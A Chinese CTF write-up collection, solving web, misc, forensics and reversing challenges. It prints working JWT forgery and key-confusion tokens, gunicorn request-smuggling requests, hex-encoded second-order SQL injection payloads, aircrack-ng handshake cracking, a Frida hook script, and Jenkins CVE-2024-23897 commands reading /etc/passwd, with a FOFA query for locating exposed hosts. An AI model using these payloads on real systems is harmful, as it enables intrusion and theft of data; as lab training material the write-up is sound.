考点:JWT攻击之签名未验证
访问题目,提示访问/login
提示打payload: {“account”:”wuxidixi”,”mima”:”makamaka”}
那么用burp或者yakit发个包试试:这里需要注意,发包方式为POST,设置Content-Type: application/json 格式
请求:
POST /login HTTP/1.1
Host: 192.168.0.70:8083
Content-Type: application/json
{"account":"wuxidixi","mima":"makamaka"}
响应:
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
ETag: W/"80-SYdkaYXW0/I96gQmfn6ciOMLYWQ"
Date: Mon, 04 Mar 2024 08:26:17 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Content-Length: 135
{
"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhY2NvdW50IjoibGluZ2h1bnpoaXppIn0.nRNZM_7dcxDoa-lKkrhFnNNxVNZD88xiwI1-QYqioSg"
}
给了一串疑似JWT值,那么尝试对其进行解密看看是个啥:jwt.io,解出来是个account:”linghunzhizi”,看起来是个普通用户。
那么到这里的话,思路就断了,我们需要去哪里找flag呢,这个时候可能需要从目录上面下手,比如,看看有没有robots.txt,或者F12查看源码,或者抓包看看请求和响应中是否含有提示?这些都可以去尝试,这里访问/robots.txt有提示 ,可以看到存在/fulage目录
访问/fulage返回:
不能用GET,那我们用POST试一下:它说需要TOKEN,OK,那我们在POST包中添加刚刚获取的TOKEN试试,这里依旧要注意Content-type的设置:
它提示你不是admin,刚刚我们解密JWT里面有一个account:linghunzhizi,将这个用户名改成admin,然后jwt加密发包试试:
POST /fulage HTTP/1.1
Host: 192.168.0.70:8083
Content-Type: application/json
{
"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhY2NvdW50IjoiYWRtaW4ifQ.XaW_ca6uIVjJ4diX9a_mxlerUFg3LcQJvg-n6ToPBZ8"
}
获取flag.
考点:gunicorn 20.0.4 请求走私漏洞 、 HTTP头部字段伪造&了解
访问靶场,提示访问/admin
访问/admin,提示forbidden禁止:
尝试访问robots.txt:not found
OK,F12也没啥提示,抓包看看:可以看到请求和响应都没有啥异常,也没有提示,但是这里可以看到server有点异常,一般的server都是apache、nginx啥的,这里却是个gunicorn/20.0.4?OK,百度一下看看是个啥:
可以看到,gunicron这个东西在20.0.4版本存在请求走私漏洞:
关于这个漏洞,在网上可以找到很多复现案例,这里就几个参考链接:
关于content-length的计算:https://blog.csdn.net/weixin_54902210/article/details/124580510
OK,接下来,我们知道了这是请求走私漏洞,那么来尝试构造一下exp来进行利用,题目提示我们访问/admin目录,而访问之后提示禁止,因此我们需要先通过请求走私漏洞来访问到这个被禁止访问的目录:
GET / HTTP/1.1
Host: 192.168.0.70:9999
Content-Length: 76
Sec-Websocket-Key1: x
xxxxxxxxGET /admin HTTP/1.1
Host: 192.168.0.70:9999
Content-Length: 43
GET / HTTP/1.1
Host: 192.168.0.70:9999
这里构造exp,有两个坑点来自工具,一是burp的content-length自动补全需要关闭,否则会自动计算请求体长度,二是在burp显示中的最后一行一个空行=‘\r\n’,而在HTTP协议中,请求之间是通过一个空行(即两个连续的回车换行符 “\r\n\r\n”)来分隔的,因此要在发送请求的时候,最末尾如果是burp(yakit也一样)的话,需要打两个空行表示:\r\n\r\n
看到提示说你的浏览器不是secr3t_@gent,OK,这里考的是HTTP头部的了解:
再在请求/admin的请求中添加User-Agent: secr3t_@gent,然后重新计算长度,发包:注意为什么这里要多加一个2,因为User-Agent: secr3t_@gent末尾还有一个’\r\n’,这是占两个字节的,需要将其计算长度。
获得新的提示,flag在/fl4g目录下:
OK,将/admin换成/fl4g,并重新计算长度:得到提示说,你不是本地管理员,你是黑客,这里又考到了HTTP头部字段的XFF伪造,因此构造数据包:X-Forwarded-For: 127.0.0.1,并重新计算长度。
最终获得flag.
比赛环境下的payload:
GET / HTTP/1.1
Host: xxxxxxxx.lab.xxxxx.cn
Authorization: Basic emthcTp6a2Fx
User-Agent: secr3t_@gent: 49ed494b4af7c654e78e4af156aa5fc6
Content-Length: 210
Sec-Websocket-Key1: x
xxxxxxxxGET /fl4g HTTP/1.1
Host: xxxxxxxx.lab.xxxxx.cn
Authorization: Basic emthcTp6a2Fx
X-Forwarded-For: 127.0.0.1
User-Agent: secr3t_@gent: 49ed494b4af7c654e78e4af156aa5fc6
Content-Length: 123
GET / HTTP/1.1
Host: xxxxxxxx.lab.xxxxx.cn
Authorization: Basic emthcTp6a2Fx
token: 49ed494b4af7c654e78e4af156aa5fc6
受到相关漏洞的影响,也是出现了难以修复的bug,因此添加了token头,token是随机的,需要自己根据情况更换,同时差不多要发送两个数据包左右就能出结果…
这个环境中有个bug就是:gunicorn会已读乱回… …,因此在这里给参赛的同学造成了困扰说一声抱歉哈。
比如:A通过构造请求数据包走私出了flag,这个时候,B也同时(在A发送的时间点附近)发送一个GET请求,请求/admin,就有很有可能会接收到gunicorn返回给A的响应包,具体还需要读者自行进行尝试。
考点:JWT密钥混淆攻击(在JWT加密阶段使用了RSA算法,使用私钥进行了加密【那么解密就是用公钥】,然而却在解密阶段同时使用了两种加密算法HMAC和RSA,如果公钥被攻击者获得,那么攻击者可以修改其中的加密算法为HMAC,此时就成了对称加密算法了,而加密密钥又是公钥,攻击者通过公钥加密后的内容发送到服务端也能正常解密,由此造成密钥混淆攻击。)
访问题目,一个登录页面,随意输入账号密码:提示我是个路人,不给flag
F12查看源码,没啥提示,抓包看看有啥:发现cookie里面是一串疑似JWT值,解密看看
account为路人甲,并且加密算法为RSA,这里尝试修改account为@dministr@t0r发现生成不了JWT,因为没有私钥:
访问robots.txt,页面是空白的,需要往下翻才能看到这个公钥:
获取公钥之后,就可以尝试密钥混淆攻击了,这里使用node,将获取到的RSA公钥生成一串jwt,并将加密算法改成HS256(或者github上找找其他工具生成)
先将公钥复制保存为public_key.key,然后在node中做如下操作(这里我使用的是node js生成的,你也可以使用别的工具或网站):
root@378bf606c9c5:/app# node
Welcome to Node.js v12.22.12.
Type ".help" for more information.
> const jwt = require('jsonwebtoken')
undefined
> var fs = require('fs')
undefined
> var publicKey = fs.readFileSync('./public_key.key')
undefined
> var token = jwt.sign({'account':'@dministr@t0r'},publicKey,{algorithm:'HS256',noTimestamp:true});
undefined
> console.log(token)
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhY2NvdW50IjoiQGRtaW5pc3RyQHQwciJ9.Rh8uZn8Lk1zYVFGJ5zbUeGu5C5XaoxCMURnlaFRFhYI
然后将生成的jwt替换cookie中的token值,发送,即可获得flag.
考点:SQL二次注入(先将payload写入数据库,然后在登录日志记录insert阶段产生注入)
流程分析:注册账号=>登录=>信息修改处写入16进制数据(update)=>退出=>登录(insert)=>查看登录日志(select)
F12,robots.txt,查看源码…均无提示;
注册个用户登录上去看看:注册账户需要三个东西:用户名,密码,userid
登录后,查看各个功能点:登录日志查看功能会记录登录的userid,ip,和时间,而这个功能对应的数据库操作则是select操作,将数据查询出来并展示:
修改信息处,可修改年龄,地点,和userid,对应数据操作则是update更新数据操作。
然而,登录的时候会产生登录日志,这就对应了数据库的insert数据插入操作,所以,这里可以尝试在修改信息处,将userID注入SQL语句,然后退出登录再重新登录,查看日志来形成insert注入。
但是当我们在userid输入字符,会返回userID必须是数字的提示:
那假如我们输入16进制数据呢?将单引号进行16进制编码,然后拼接上0x,0x27输入:点击修改后,无异常
退出,重新登录看看什么情况:登录后,首页显示数据插入异常了,并且登陆日志条目也没有增加,看来注入成功报错了(这里同时可以尝试输入个双引号,双引号正常,单引号报错,那么大概率就是单引号闭合)
现在只需要一个一个字段尝试增加,探测出insert需要插入多少个字段,然后就可以正常进行下一步了:
最终试出需要填充四个字段:1’,1,1,1) — qwe => 0x31272c312c312c3129202d2d20717765
接下来就是常规的查询了:
当前数据库:1’,(select database()),1,1) — qwe => 0x31272c2873656c6563742064617461626173652829292c312c3129202d2d20717765
查表:1’,(select group_concat(‘~’,table_name) from information_schema.tables where table_schema=database()),1,1) — qwe => 0x31272c2873656c6563742067726f75705f636f6e63617428277e272c7461626c655f6e616d65292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573207768657265207461626c655f736368656d613d64617461626173652829292c312c3129202d2d20717765
查列: 1’,(select group_concat(‘~’,column_name) from information_schema.columns where table_schema=database() and table_name=’injectflag’),1,1) — qwe => 0x31272c2873656c6563742067726f75705f636f6e63617428277e272c636f6c756d6e5f6e616d65292066726f6d20696e666f726d6174696f6e5f736368656d612e636f6c756d6e73207768657265207461626c655f736368656d613d6461746162617365282920616e64207461626c655f6e616d653d27696e6a656374666c616727292c312c3129202d2d20717765
获取flag: 1’,(select fl4g from injectflag limit 1,1),1,1) — qwe => 0x31272c2873656c65637420666c34672066726f6d20696e6a656374666c6167206c696d697420312c31292c312c3129202d2d20717765
考点:图片隐写,stegsolve工具使用,rot13解密
打开图片查看,貌似上方有些东西:
stegsolve启动,file format 和 Steregram Solve都没啥异常,使用Data Extract看看有没有隐藏数据: RGB点满,preview后查看到图片中有一些数据,将图片保存为txt格式,Save Text.
将字符串提取出来,然后尝试各种解密,rot13解密出flag
将明文点和空格删除后,出flag{pour_in_hot_rapeseed_oil_and_pour_soul_juice}
考点:DTMF 、拼音九键加密
DTMF解码网站:http://dialabc.com/sound/detect/index.html
拼音九键加密原理:https://cloud.tencent.com/developer/article/2130798
解压数据包之后有四个音频文件,其中文件名标识这1 2 3 4 四部分,将“-”后面的字母根据顺序拼在一起就是DTMF得出提示:
将音频文件拖入解码网站进行分析得出四串数字:
四组数字:[81 63 31 21 93] [42 21 71 71 93] [74 81 82 31 93] [31 81 61 33]
然后使用拼音九键解密,以拼音九键为基础,将数字分为两个一组,第一个数字代表九键中的某一个键,第二个数字表示按几下,得出对应的字母。包裹上flag{}即可,flag{TODAYHAPPYSTUDYDTMF}。
考点:wifi流量包分析 、wifi 握手包密码破解、wireshark软件使用、协议分析、jwt基础解密、binwalk & formost工具使用
打开数据包,从协议802.11上来看,是无线流量,并且是WPA加密:
尝试爆破握手密码:aircrack-ng shujubao.cap -w 10000.txt ,握手密码为 12345678
解密流量包:airdecap-ng shujubao.cap -e ‘mamawoxiangwantiequan’ -p 12345678
再次对解密后的流量包进行分析:通过分析http流量,发现含有三张POST传输的图片,图片中还有压缩包和flag.txt
通过wireshark导出对象,记一下这三个包中其中一个的编号NO.(因为三个都是一样的380,452,507),然后 “文件”—>”导出对象”->”HTTP”:save为PNG格式图片
导出图片并不能直接打开看到东西,因为里面还藏着一个压缩包,拖入kali,使用binwalk分析,分离出压缩包:
使用-e参数分离:分离出了一个3338.zip,里面有个flag.txt,但是需要密码:
此时再回到解密后的流量包,查看流量包中是否有密码相关的内容:发现POST包中含有cookie字段,cookie值是JWT格式,尝试对这段值进行JWT解密:选中cookie右键->复制->值
放入jwt.io中解密,得到密码相关的提示:
可以翻译一下:
ping过的网站?ping一般会ping域名,可以先筛选一下DNS协议:过滤器中输入dns筛选
然后将域名当做密码输入,最后试出:26rsfb.dnslog.cn 就是解压密码;
考点:volatility工具使用 + python脚本编写 + linux基础命令 + binwalk / formost工具使用 + 维吉尼亚密码解密
查看镜像信息:volatility -f Forensics_is_Easy.img imageinfo
查看是否有可疑进程:volatility -f Forensics_is_Easy.img —profile=Win7SP1x64 pslist ,存在一个notepad.exe记事本
尝试获取记事本里边的内容,看看有没有提示或者flag:volatility -f Forensics_is_Easy.img —profile=Win7SP1x64 editbox
得到提示为flag放在了一张jpg图片里面,尝试查看文件,筛选出.jpg格式的图片资源:volatility -f Forensics_is_Easy.img —profile=Win7SP1x64 filescan | grep “jpg”
发现了一张phos.jpg图片,将这张图片提取出来:volatility -f Forensics_is_Easy.img —profile=Win7SP1x64 dumpfiles -Q 0x000000002557b2b0 -D ./
打开图片后并没有发现flag相关信息:
使用binwalk查看一下图片中是否包含其他内容:binwalk 111.jpg ,发现其中还含有压缩包和img文件
使用binwalk分离文件:binwalk -e 111.jpg
这个message.img看起来又像是一个镜像文件,再次使用volatility进行镜像信息分析,发现分析不出来,那么它有没有可能是其他文件呢?
使用file命令分析一下文件类型:file message.img ,发现是linux ext2磁盘文件
磁盘文件的话,可以使用linux命令mount进行挂载,在当前创建一个目录,挂载文件看看里面有啥:
mkdir test # 创建挂载目录
mount message.img ./test # 将磁盘文件挂载到test目录下(ps:取消挂载 umount ./test)
ls -a 查看磁盘文件中都包含什么,(记得多加-a参数,可以看到隐藏文件!)发现一个hint.txt
查看hint.txt内容:像是一些坐标信息
使用python脚本,将hint.txt中的信息转换成图片:
from PIL import Image
file = open('hint.txt','r')
data = file.read()
pic = Image.new('RGB',(300,300))
data = data.split('\n')
for i in data:
a = i.split(' ')
b = int(a[0])
d = int(a[1])
pic.putpixel([b,d],(255, 255, 255))
pic.show()
pic.save('result.png')
这里如果使用的是python脚本有个坑会导致python运行报错,就是hint.txt最下面有一行空行,需要删除掉!
运行脚本,通过hint.txt生成了一个二维码图片:
使用草料二维码解码https://cli.im/deqr/other,得到进一步提示:维吉尼亚秘钥aeolus
Here is the vigenere key: aeolus, but i deleted the encrypted message。
接下来有点茫然[上哪去找密文?],但是不慌,我们还有其他两个文件还没有打开看,lost+found中没有东西,一顿ls -a,在.Trash-0/file/中发现了.message.swp[vim编辑意外退出时会生成的文件],使用命令恢复改文件查看是啥内容:
vim -r .message.swp
发现一串疑似密文,拿去维吉尼亚解密试试:https://www.metools.info/code/c71.html
最终,得到flag{yeeeeet!just_find_and_solve}
考点:.net逆向,dnspy、exeinfo PE 或者 PEiD工具使用
拿到dragon.exe程序,先运行一下程序,走个流程,看看程序有哪些功能,干啥的:看起来像是输入字符串进行比较,随意输入后召唤失败。
OK,拖入PEiD(PEiD用的是吾爱破解的虚拟机,相关下载链接在吾爱破解论坛可以找到),查看程序的基本信息(因为没加壳,所以查壳过程跳过):可以看到是个.NET程序,那么我们需要使用能够反编译.NET程序的工具来对其进行逆向
dnspy工具下载:https://github.com/dnSpy/dnSpy/releases
使用dnspy对程序进行反编译,反编译后的语言默认为C#语言(可以切换VB或者IL语言),显示的左边的界面是关于程序的基本信息:包括程序的版本、入口点、时间戳等信息:
从第四行可以看到,程序入口点为Class0.Main
直接点击Class0就能够跳到这个类:这里可以看到,在Main方法里面,又new了一个Form1对象
看不懂的话可以上AI【实例】:
我们跟进Form1看看是啥,点击Form1跳转:可以看到核心代码就在这了,主要就是一个base64字符串的比较,当a==b时,就弹出“神龙来咯xxx”:
将变量b的值复制,进行base64解码后出flag,输入程序正确:
可进行的其他尝试:
使用linux的strings命令查看程序里面有没有flag相关的字符串【结果:无】
考点:frida & 模拟器(我用的是夜神) 使用、hook脚本编写、apk逆向分析、ida使用、dex2jar反编译dex,jd-gui/Jadx工具使用
frida安装,连接模拟器参考:
下载apk,先拖到模拟器运行一下看看什么效果:一个石头剪刀布游戏,根据题目提示,要连续赢AI 1000次才能过关,而只要输一次,就会把分数重置为0,因此,想单纯靠猜拳赢它是不太可能的。
OK,接下来反编译apk,看看里面有啥,先使用7z或者WINRAR解压APK:
可以看到基本的一个文件目录结构:
- AndroidManifest.xml 应用程序清单文件,包含应用程序的元数据和配置信息。
- classes.dex 应用程序的 Java 代码编译后的 Dalvik 字节码文件。
- resources.arsc 应用程序的资源文件的二进制 XML 格式文件,包含字符串、颜色、尺寸等资源。
- res/ 主要存放apk图片、颜色等资源
- drawable/ 存放应用程序使用的图片资源。
- layout/ 存放应用程序的布局文件,定义了界面的布局结构。
- values/ 存放应用程序的字符串、颜色、尺寸等资源。
- ... 其他资源文件的存放目录,例如 anim/ 存放动画文件,raw/ 存放原始资源文件等。
- assets/ 存放应用程序的原始资源文件,可以通过 AssetManager 访问。
- META-INF/ 存放apk验证性文件
- CERT.RSA 应用程序的公钥证书。
- CERT.SF 应用程序的签名文件。
- MANIFEST.MF 应用程序的清单文件。
-lib 包含了应用程序的本地库文件(Native Libraries),简单理解就是:一些造好的轮子,需要时直接调用。
最主要的一个文件是classes.dex,这个文件是经过编译的Android应用程序代码文件,可以使用dex2jar对其进行反编译,从而获取apk的jar包:
d2j-dex2jar classes.dex
反编译之后得到一个classes-dex2jar.jar文件,然后使用jd-gui或者Jadx工具(推荐用Jadx,Jadx功能多一点)对jar文件进行查看:
android.support # 安卓应用程序的基本库,方便兼容和支持程序(这个不是重点)
com.example.seccon2015.rock_paper_scissors # 应用程序的包名,重点分析这个。
打开com.example.seccon2015.rock_paper_scissors包之后主要有三个类:
BuildConfig # 包含应用程序构建相关的常量和配置信息
MainActivity # 可以理解为主程序的入口,重点分析
R # 包含了应用程序中所有资源的引用,包括布局文件、字符串、图像、颜色等
接下来分析MainActivity类:这里代码也显而易见,当你赢了一次,cnt变量就会+1,当你输了,cnt就会重置为0,当平局,cnt+0,如果cnt=1000,就会输出apkflag{1000 + calc() * 107},其中,calc()是个函数
点击calc()会跳到代码下面,可以看到clac()是通过loadLibrary引入的,那么这啥:System.loadLibrary()适用于加载本地库的一种方法,而我们的本地库就存放在lib目录,打开lib目录可以看到libcalc.so文件,那么这里就是调用的我们lib目录中的libcalc.so文件中的calc()了。
所以,这里有两种做法:
import frida, sys
def on_message(message, data):
if message['type'] == 'send':
print("[*] {0}".format(message['payload']))
else:
print(message)
jscode = """
//1. frida Hook java层的代码必须包裹在Java.perform中,Java.perform会将Hook Java相关API准备就绪。
// 简单理解就是:将当前线程附加到程序中,后续将调用funciton()对程序流程就行更改或者影响。
Java.perform(function () {
// Java.user(),通过类名获取Java类,返回一个包裹好得javascript对象,通过该对象可以访问类成员
var MainActivity = Java.use('com.example.seccon2015.rock_paper_scissors.MainActivity');
// 捕捉按钮点击事件
var onClick = MainActivity.onClick;
// 当按钮按下时,就执行function(v)
onClick.implementation = function (v) {
// 打印一条消息来说明函数被调用
send('onClick');
// 执行原始的点击事件
onClick.call(this, v);
// 在执行原始点击事件后设置变量的值,设置n为1,m值为0,m<n,就执行到了“你赢了的流程”,然后设置cnt为999,在赢了之后,会自增一次,999+1=1000,然后屏幕就会输出flag
this.m.value = 0;
this.n.value = 1;
this.cnt.value = 999;
// 在控制台打印消息,此时应该已经得到flag
console.log('Done:' + JSON.stringify(this.cnt));
};
});
"""
# 官方文档用的是frida.get_usb_device(),这里因为使用模拟器,换成frida.get_remote_device()
# 4680是猜拳游戏的进程ID,根据实际情况调整
process = frida.get_remote_device().attach(4680)
script = process.create_script(jscode)
script.on('message', on_message)
print('[*] Running CTF')
script.load()
sys.stdin.read()
hook脚本写好后,通过adb shell连接模拟器,然后在模拟器中运行frida:
adb shell
./frida (记得给frida赋予执行权限)
此时新开一个终端,运行frida-ps -U 可以查看模拟器中运行的进程以及进程ID,运行猜拳游戏还能看到猜拳游戏的进程:
能够列出进程就说明frida连接成功了,接下来设置一下tcp转发(frida-server默认端口为27042),方便frida与模拟器进程通信:
adb forward tcp:27042 tcp:27042
接下来运行hook脚本,然后随意点击一个按钮,就会输出flag:
方法二:ida分析.so文件,计算出flag
因为根据我们分析程序可以得知,flag是:
(cnt的值 + calc()函数的返回值) * 107
"apkflag{" + String.valueOf((MainActivity.this.cnt + MainActivity.this.calc()) * 107) + "}"
cnt已知是 1000,calc()的返回值需要通过分析libcalc.so文件得知。
将libcalc.so拖入ida:ida打开后,进入Exports窗口查看函数,可以看到一个java_com_expamle_xxx_calc函数,双击到达IDA View视图查看其汇编代码:
到这里,可以直接对汇编代码进行分析,也可以F5查看伪代码:可以看到,calc()函数的返回值是个7
最后,计算结果:(1000 + 7)*107 = 107749 ,最后获取flag: apkflag{107749}
正常玩游戏,发现简单和中级模式一切正常,打开高级难度后发现异常困难,flag应该藏在里面。尝试修改雷的数量。
雷的数量依旧是近400个,应该是做了最低限制。
简简单单扫个地雷,依稀看到一个数字2,继续往下扫,祭。
在连续完了几局以后,发现这个字母会变,说明这是个字符串,且在当前游戏初始化的时候会被调用,于是使用x32dbg打开
并搜索字符串,没有查到什么有用的多少,事情果然没有这么简单。随后想到雷的布局是随机的,应该和rand函数有关系。
在x32dbg中,搜索当前的跨模块调用,待搜索完毕后,筛选rand关键词,发现只有一个rand调用,在此处下一个断点,然后重开游戏,程序成功被中断。
在观察并动态调试后发现,从00A11650->00A11684是一个循环,并在循环中两次调用rand函数,猜测是计算雷的XY坐标。接着从ss:[edi+edx+A17921]取出数据,按位或0x80,并放回ss:[edi+edx+A17921],由此推断,0x80是判断某点是否是雷的关键位,并且ss:[edi+edx+A17921]是保存了雷布局的数组。
在循环之后,进行了一次对32取余运算,而后连续对0x3c和0x20进行cmp判断,猜测于是否放flag有关,因为flag字符在简单和中级时不出现,而困难难度正好是60*30,猜测flag长度应该是32位(v+1%32取值范围是[0,31],0x1f=31)。
在判断之后的逻辑代码中,是8个相似的计算结构,末尾处和0x10比较,并跳转到A116F6,0x10=16,结合上面32位的flag长度猜测,某个存放flag的数据库大小是32*16=512字节,具体算法还得继续分析。
为了进一步确认flag的信息,对局部代码细细分析。
由于存在8个类似 and ebx, 80的运算,且后续的数字都是很有规律的,大胆猜测 0x80>>i,i取值范围是[0, 7],验算后果然如此。
验算通过后,再结合下面的逻辑大胆猜测,由于从A17058取了第一次指针放入ebp-C,然后又取一次,再结合上面32*16判断A17058是一个二维数组,如a[32][16]
综合上面所有条件, 从A17058取出需要的数据后得到下面算法:
<?php
$uchars=[
[0x00, 0x00, 0x7C, 0x40, 0x40, 0x78, 0x44, 0x04, 0x44, 0x44, 0x38, 0x00, 0x00, 0x00, 0x00, 0x00],
[0x00, 0x00, 0x00, 0x00, 0x00, 0x38, 0x44, 0x1C, 0x24, 0x44, 0x3E, 0x00, 0x00, 0x00, 0x00, 0x00],
[0x00, 0x00, 0x08, 0x08, 0x18, 0x28, 0x28, 0x48, 0x7C, 0x08, 0x1C, 0x00, 0x00, 0x00, 0x00, 0x00],
[0x00, 0x00, 0x18, 0x24, 0x20, 0xF8, 0x20, 0x20, 0x20, 0x20, 0x78, 0x00, 0x00, 0x00, 0x00, 0x00],
[0x00, 0x00, 0x00, 0x00, 0x00, 0x38, 0x44, 0x1C, 0x24, 0x44, 0x3E, 0x00, 0x00, 0x00, 0x00, 0x00],
[0x00, 0x00, 0x38, 0x44, 0x44, 0x04, 0x08, 0x10, 0x20, 0x44, 0x7C, 0x00, 0x00, 0x00, 0x00, 0x00],
[0x00, 0x00, 0x08, 0x08, 0x18, 0x28, 0x28, 0x48, 0x7C, 0x08, 0x1C, 0x00, 0x00, 0x00, 0x00, 0x00],
[0x00, 0x00, 0x00, 0x00, 0x00, 0x38, 0x44, 0x7C, 0x40, 0x44, 0x38, 0x00, 0x00, 0x00, 0x00, 0x00],
[0x00, 0x00, 0x00, 0x00, 0x00, 0x3C, 0x44, 0x40, 0x40, 0x44, 0x38, 0x00, 0x00, 0x00, 0x00, 0x00],
[0x00, 0x00, 0x38, 0x44, 0x44, 0x44, 0x4C, 0x34, 0x04, 0x48, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00],
[0x00, 0x00, 0x7C, 0x44, 0x08, 0x08, 0x08, 0x10, 0x10, 0x10, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00],
[0x00, 0x00, 0x08, 0x08, 0x18, 0x28, 0x28, 0x48, 0x7C, 0x08, 0x1C, 0x00, 0x00, 0x00, 0x00, 0x00],
[0x00, 0x00, 0x7C, 0x44, 0x08, 0x08, 0x08, 0x10, 0x10, 0x10, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00],
[0x00, 0x00, 0x7C, 0x44, 0x08, 0x08, 0x08, 0x10, 0x10, 0x10, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00],
[0x00, 0x00, 0x00, 0x00, 0x00, 0x38, 0x44, 0x7C, 0x40, 0x44, 0x38, 0x00, 0x00, 0x00, 0x00, 0x00],
[0x00, 0x00, 0x7C, 0x44, 0x08, 0x08, 0x08, 0x10, 0x10, 0x10, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00],
[0x00, 0x00, 0x0C, 0x04, 0x04, 0x3C, 0x44, 0x44, 0x44, 0x44, 0x3E, 0x00, 0x00, 0x00, 0x00, 0x00],
[0x00, 0x00, 0x0C, 0x04, 0x04, 0x3C, 0x44, 0x44, 0x44, 0x44, 0x3E, 0x00, 0x00, 0x00, 0x00, 0x00],
[0x00, 0x00, 0x38, 0x44, 0x44, 0x44, 0x4C, 0x34, 0x04, 0x48, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00],
[0x00, 0x00, 0x00, 0x00, 0x00, 0x38, 0x44, 0x1C, 0x24, 0x44, 0x3E, 0x00, 0x00, 0x00, 0x00, 0x00],
[0x00, 0x00, 0xC0, 0x40, 0x40, 0x78, 0x44, 0x44, 0x44, 0x44, 0x78, 0x00, 0x00, 0x00, 0x00, 0x00],
[0x00, 0x00, 0x18, 0x24, 0x40, 0x58, 0x64, 0x44, 0x44, 0x44, 0x38, 0x00, 0x00, 0x00, 0x00, 0x00],
[0x00, 0x00, 0x18, 0x24, 0x40, 0x58, 0x64, 0x44, 0x44, 0x44, 0x38, 0x00, 0x00, 0x00, 0x00, 0x00],
[0x00, 0x00, 0x10, 0x30, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x38, 0x00, 0x00, 0x00, 0x00, 0x00],
[0x00, 0x00, 0xC0, 0x40, 0x40, 0x78, 0x44, 0x44, 0x44, 0x44, 0x78, 0x00, 0x00, 0x00, 0x00, 0x00],
[0x00, 0x00, 0x08, 0x08, 0x18, 0x28, 0x28, 0x48, 0x7C, 0x08, 0x1C, 0x00, 0x00, 0x00, 0x00, 0x00],
[0x00, 0x00, 0x00, 0x00, 0x00, 0x38, 0x44, 0x1C, 0x24, 0x44, 0x3E, 0x00, 0x00, 0x00, 0x00, 0x00],
[0x00, 0x00, 0x7C, 0x44, 0x08, 0x08, 0x08, 0x10, 0x10, 0x10, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00],
[0x00, 0x00, 0xC0, 0x40, 0x40, 0x78, 0x44, 0x44, 0x44, 0x44, 0x78, 0x00, 0x00, 0x00, 0x00, 0x00],
[0x00, 0x00, 0x38, 0x44, 0x04, 0x04, 0x18, 0x04, 0x04, 0x44, 0x38, 0x00, 0x00, 0x00, 0x00, 0x00],
[0x00, 0x00, 0x00, 0x00, 0x00, 0x3C, 0x44, 0x40, 0x40, 0x44, 0x38, 0x00, 0x00, 0x00, 0x00, 0x00],
[0x00, 0x00, 0x00, 0x00, 0x00, 0x3C, 0x44, 0x40, 0x40, 0x44, 0x38, 0x00, 0x00, 0x00, 0x00, 0x00],
];
$img = imagecreate(2*8*count($uchars),2*16);
$black = imagecolorallocate($img, 0, 0, 0);
$red = imagecolorallocate($img, 255, 0, 0);
for($x=0;$x<32;$x++)
{
$uchar = $uchars[$x];
for ( $y=0; $y < 16; $y++ )
{
$c = $uchar[$y];
$y1 = $y*2;
for($i=0;$i<8;$i++){
$x1=$x*16+$i*2;
imagefilledrectangle($img, $x1, $y1,$x1+2,$y1+2, ($c & (128 >> $i))?$red:$black);
//imagesetpixel($img, $;
}
}
}
imagepng($img, 'paintimg.png');
imagedestroy($img);
运行得到flag
简介
jenkins是啥?
简单理解就是:一个开源的、用于方便代码管理、部署的基于web的平台,用于提高团队开发效率(生产力)。
Jenkins CLI 任意文件读取漏洞 CVE-2024-23897 是怎么回事?
Jenkins提供了一个命令行接口,用户可以通过jenkins-cli.jar调用这个接口来执行一些jenkins的功能,但是由于使用jenkins-cli.jar执行命令行时,命令行是在服务端调用第三方库 args4j 进行解析的,如果参数是以@开头,就会被认为是一个文件名,并且的将文件内容读取出来作为参数,然后引发报错,将文件内容通过报错显示出来,造成了文件读取。
影响版本
版本<= Jenkins 2.441、版本<= LTS 2.426.2
fofa语法
header="X-Jenkins" || banner="X-Jenkins" || header="X-Hudson" || banner="X-Hudson" || header="X-Required-Permission: hudson.model.Hudson.Read" || banner="X-Required-Permission: hudson.model.Hudson.Read" || body="Jenkins-Agent-Protocols"
这里使用的是jenkins-cli.jar,我的java版本是11,运行jenkins-cli的java版本需要高一些,不然会报错版本问题,网上的脚本下载下来貌似不是特别好用……
jenkins-cli.jar如何获取?
访问jenkins的URL:http://xxx/jnlpJars/jenkins-cli.jar 可以下载到。
读取/etc/passwd[只能读取有限行]:
java -jar jenkins-cli.jar -s http://xxx/ -http who-am-i "@/etc/passwd"
java -jar jenkins-cli.jar -s http://xxx/ -http help "@/etc/passwd"
如果目标开启了“匿名用户可读”选项:
则可以使用 connect-node 命令或 reload-job 命令来读取文件全部内容:
网上工具使用效果:
因为题目加了验证,所以需要在数据包头部中添加认证字段Authorization: Basic emthcTp6a2Fx
那么这样的话,我们需要对jenkins-cli.jar进行代理抓包,也就是对java.exe进行代理抓包:
可添加命令行:-Dhttp.proxyHost=127.0.0.1 -Dhttp.proxyPort=8080
但是,此时的话,我们并没有向头部添加认证字段,因此会出现401的情况:
此时还需要在burp中设置一下向请求包中自动添加认证字段:
再次访问就不会弹401了,这里本来应该会发送三个包,一个是访问首页的包,还有一个upload和一个download,但是我的burp只抓到两个,少了一个download包,很奇怪:
因此这里,先将包发送至reperter模块,手动构造一个download:
然后先发送一个download包,打开下载接口,准备接收数据,然后再发一个upload包,上传命令到jenkins进行执行,也就是说在repeter模块中需要准备两个包,一个upload和一个download(这个过程有点像反弹shell:先打开监听,然后再接收反弹到的shell):
再回到download包中,就可以看到读取到了flag:
参考资料
考点:sql注入,sqlmap工具使用,python脚本编写
打开题目,是个英文站:但其实渗透流程都是一样的,没啥区别
这里也是挺简单的,Search搜索内容这里存在SQL注入漏洞, 只不过闭合和平常见到的不太一样(其实也挺常规的),在搜索框里打个111,抓包:你会发现如果随意输入,一直都是No record found
这里后端语句是:因此,闭合的话需要使用%'
或者也可以用'
联合注入:
